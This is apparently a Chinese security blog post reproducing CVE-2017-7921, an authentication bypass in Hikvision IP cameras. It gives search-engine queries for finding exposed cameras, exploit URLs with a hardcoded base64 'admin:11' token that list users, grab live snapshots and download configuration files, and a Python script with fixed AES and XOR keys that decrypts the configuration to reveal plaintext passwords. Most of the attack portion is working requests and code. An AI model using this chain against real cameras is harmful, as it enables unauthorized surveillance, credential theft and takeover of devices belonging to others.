漏洞编号:CVE-2017-7921

  • 在海康威视DS-2CD2xx2F-I Series V5.2.0 build 140721至V5.4.0 build 160530、DS-2CD2xx0F-I Series V5.2.0 build 140721至V5.4.0 build 160401、DS-2CD2xx2FWD Series V5.3.1 build 150410至V5.4.4 build 161125、DS-2CD4x2xFWD Series V5.2.0 build 140721至V5.4.0 build 160414中发现不正确的身份验证问题

  • DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 build 160421、DS-2DFx Series V5.2.0 build 140805 to V5.4.5 build 160928和DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 build 160106设备。
  • 当应用程序没有充分或正确地对用户进行身份验证时,就会出现不正确的身份验证漏洞。这可能允许恶意用户升级其在系统上的权限并获得对敏感信息的访问权限

FoFa指纹

app="HIKVISION-视频监控"

搜索中国HIKVISION-视频监控

app="HIKVISION-视频监控"&&ip_ports="81,8000,8001"&&country="CN"

漏洞EXP

IP + /onvif-http/snapshot?auth=YWRtaW46MTEK

检索所有用户

/Security/users?auth=YWRtaW46MTEK

获取镜头快照而不进行身份验证

/onvif-http/snapshot?auth=YWRtaW46MTEK

下载摄像头二进制配置文件

/System/configurationFile?auth=YWRtaW46MTEK

base64编码

admin:11的base64编码

YWRtaW46MTEK

协议截图指令

onvif-http/snapshot

漏洞复现

CVE-2017-7921.png
进一步构造url可绕过登录,直接查看监控的实时快照

获取摄像头快照

/onvif-http/snapshot?auth=YWRtaW46MTEK

20210614154940.png

下载配置文件

/System/configurationFile?auth=YWRtaW46MTEK

20210614171125.jpg

得到二进制配置文件:configurationFile
海康威视文件解码器可以提取关键密码

提取文件密码

Python3 install Crypto pycrypto

#!/usr/bin/python3

from itertools import cycle
from Crypto.Cipher import AES
import re
import os
import sys

def add_to_16(s):
    while len(s) % 16 != 0:
        s += b'\0'
    return s 

def decrypt(ciphertext, hex_key='279977f62f6cfd2d91cd75b889ce0c9a'):
    key = bytes.fromhex(hex_key)
    ciphertext = add_to_16(ciphertext)
    #iv = ciphertext[:AES.block_size]
    cipher = AES.new(key, AES.MODE_ECB)
    plaintext = cipher.decrypt(ciphertext[AES.block_size:])
    return plaintext.rstrip(b"\0")

def xore(data, key=bytearray([0x73, 0x8B, 0x55, 0x44])):
    return bytes(a ^ b for a, b in zip(data, cycle(key)))

def strings(file):
    chars = r"A-Za-z0-9/\-:.,_$%'()[\]<> "
    shortestReturnChar = 2
    regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
    pattern = re.compile(regExp)
    return pattern.findall(file)

def main():
    if len(sys.argv) <= 1 or not os.path.isfile(sys.argv[1]):
        return print(f'No valid config file provided to decrypt. For example:\n{sys.argv[0]} <configfile>')
    xor = xore( decrypt(open( sys.argv[1],'rb').read()) )
    result_list = strings(xor.decode('ISO-8859-1'))
    print(result_list)

if __name__ == '__main__':
    main()

可以看到

用户:admin 密码:admin12345

CVE-2017-7921.py.png

客户端登陆下载

登陆端口 8000或到8005

20210721234517.jpg

漏洞危害

  • 成功利用这些漏洞可能会导致恶意攻击者提升其权限或假设已验证用户的身份并获取敏感数据。
  • 通过构造url可绕过登录查看监控,检索所有用户和配置文件下载。
最后修改:2022 年 10 月 13 日
如果觉得我的文章对你有用,请随意赞赏